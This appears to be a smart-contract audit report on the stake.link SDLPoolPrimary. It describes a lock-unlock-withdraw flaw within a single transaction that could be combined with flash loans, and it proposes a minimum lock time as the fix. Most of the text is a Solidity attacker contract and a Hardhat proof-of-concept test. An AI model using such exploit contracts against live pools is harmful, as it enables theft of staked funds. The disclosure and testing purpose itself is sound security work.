Can lock Fund for 1 sec and unlock in same transaction to gain profit even if it's small amount yet there's no flashloan protection so malicious user can flashloan big amount and sandwich the rebasing upkeep to take advantage of the pool with dividing leads to zero problem to gain profit from pool.This way totalstaked amount can be manupilated. Checkupkeep and performUkeep completely user accessible so totalstake amount can change for the favor of malicious user
Click to see Attack contract
pragma solidity 0.8.15;
import{IERC677Receiver} from "../core/interfaces/IERC677Receiver.sol";
import{IERC721Receiver} from "../core/interfaces/IERC721Receiver.sol";
import{IERC677} from "../core/interfaces/IERC677.sol";
import{SDLPoolPrimary} from "../core/sdlPool/SDLPoolPrimary.sol";
interface IRESDLTokenBridge{
function transferRESDL(
uint64 _destinationChainSelector,
address _receiver,
uint256 _tokenId,
bool _payNative,
uint256 _maxLINKFee
) external payable returns (bytes32 messageId);
}
contract Attacker is IERC677Receiver{
struct Data {
address operator;
address from;
uint256 tokenId;
bytes data;
}
SDLPoolPrimary public sdlPool;
IRESDLTokenBridge public tokenBridge;
IERC677 public sdlToken;
uint256 public latestLockId;
uint256 public totalRewards;
Data[] private data;
bool public received;
constructor(address _sdlPool,address _tokenBridge,address _sdlToken)payable{
sdlPool=SDLPoolPrimary(_sdlPool);
tokenBridge=IRESDLTokenBridge(_tokenBridge);
sdlToken=IERC677(_sdlToken);
}
function getData() external view returns (Data[] memory) {
return data;
}
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4) {
data.push(Data(_operator, _from, _tokenId, _data));
received=true;
return this.onERC721Received.selector;
}
function attackTransfernCall() public payable{
sdlToken.transferAndCall(address(sdlPool),200 ether ,abi.encode(uint256(0), uint64(1)));
sdlPool.initiateUnlock(getLockId());
sdlPool.withdraw(getLockId(),200 ether);
}
function attackCcipTransfer() public payable{
tokenBridge.transferRESDL{value:15 ether}(77,address(this),getLockId(),true,15 ether);
}
function onTokenTransfer(
address,
uint256 _value,
bytes calldata
) external virtual {
totalRewards += _value;
}
function getLockId()public view returns(uint256){
uint256[] memory lockIDs= new uint256[](1);
lockIDs=sdlPool.getLockIdsByOwner(address(this));
return lockIDs[0];
}
receive() external payable{
}
}
}
import { Signer } from 'ethers'
import { assert, expect } from 'chai'
import {
toEther,
deploy,
getAccounts,
setupToken,
fromEther,
deployUpgradeable,
} from '../../utils/helpers'
import {
ERC677,
LinearBoostController,
RewardsPool,
SDLPoolPrimary,
StakingAllowance,
Attacker
} from '../../../typechain-types'
import { ethers } from 'hardhat'
import { time } from '@nomicfoundation/hardhat-network-helpers'
const DAY = 86400
const parseLocks = (locks: any) =>
locks.map((l: any) => ({
amount: fromEther(l.amount),
boostAmount: Number(fromEther(l.boostAmount).toFixed(10)),
startTime: l.startTime.toNumber(),
duration: l.duration.toNumber(),
expiry: l.expiry.toNumber(),
}))
const parseData=(data:any)=>({
operator:data.operator,
from:data.from,
tokenId:data.tokenId,
data: Buffer.from(data.data.slice(2), 'hex').toString('utf8')
})
describe('SDLPoolPrimary', () => {
let sdlToken: StakingAllowance
let rewardToken: ERC677
let rewardsPool: RewardsPool
let boostController: LinearBoostController
let sdlPool: SDLPoolPrimary
let signers: Signer[]
let accounts: string[]
let attacker:Attacker
before(async () => {
;({ signers, accounts } = await getAccounts())
})
beforeEach(async () => {
sdlToken = (await deploy('StakingAllowance', ['stake.link', 'SDL'])) as StakingAllowance
rewardToken = (await deploy('ERC677', ['Chainlink', 'LINK', 1000000000])) as ERC677
await sdlToken.mint(accounts[0], toEther(1000000))
await setupToken(sdlToken, accounts)
boostController = (await deploy('LinearBoostController', [
4 * 365 * DAY,
4,
])) as LinearBoostController
sdlPool = (await deployUpgradeable('SDLPoolPrimary', [
'Reward Escrowed SDL',
'reSDL',
sdlToken.address,
boostController.address,
])) as SDLPoolPrimary
rewardsPool = (await deploy('RewardsPool', [
sdlPool.address,
rewardToken.address,
])) as RewardsPool
await sdlPool.addToken(rewardToken.address, rewardsPool.address)
await sdlPool.setCCIPController(accounts[0])
attacker=await deploy("Attacker",[sdlPool.address,sdlPool.address,sdlToken.address]) as Attacker
await sdlToken.transfer(attacker.address,toEther(20000))
const sender = signers[0]
const valueToSend = ethers.utils.parseEther("100")
const tx = await sender.sendTransaction({
to: attacker.address,
value: valueToSend,
});
await tx.wait();
console.log("Funded contract!");
})
it('should be able to lock an existing stake', async () => {
await sdlToken.transferAndCall(
sdlPool.address,
toEther(10000),
ethers.utils.defaultAbiCoder.encode(['uint256', 'uint64'], [0, 0])
)
await sdlPool.extendLockDuration(1, 365 * DAY)
let ts = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp
assert.equal(fromEther(await sdlPool.totalEffectiveBalance()), 200)
assert.equal(fromEther(await sdlPool.totalStaked()), 200)
assert.equal(fromEther(await sdlPool.effectiveBalanceOf(accounts[0])), 200)
assert.equal(fromEther(await sdlPool.staked(accounts[0])), 200)
assert.deepEqual(parseLocks(await sdlPool.getLocks([1])), [
{ amount: 100, boostAmount: 100, startTime: ts, duration: 365 * DAY, expiry: 0 },
])
})
it('usage of Attack contract and receiving NFT', async () => {
console.log("Block-number before tx:",await ethers.provider.getBlockNumber())
let ts = (await ethers.provider.getBlock(await ethers.provider.getBlockNumber())).timestamp
await ethers.provider.send('evm_mine', [ts+1]);
console.log("SDLToken balance Before:",await sdlToken.balanceOf(attacker.address))
await attacker.attackTransfernCall()
console.log("Lock",parseLocks(await sdlPool.getLocks([1])))
console.log("Block-number after tx:",await ethers.provider.getBlockNumber())
console.log("Nft received ??:",await attacker.received());
})
})
Loss of pool reward gained by rebasing.
Setting lower-limit of locking time to stop bypassing 1 transaction lock-unlock-withdraw .This way it might stop the flashloan attacks too.
Preferable minimum 1 day.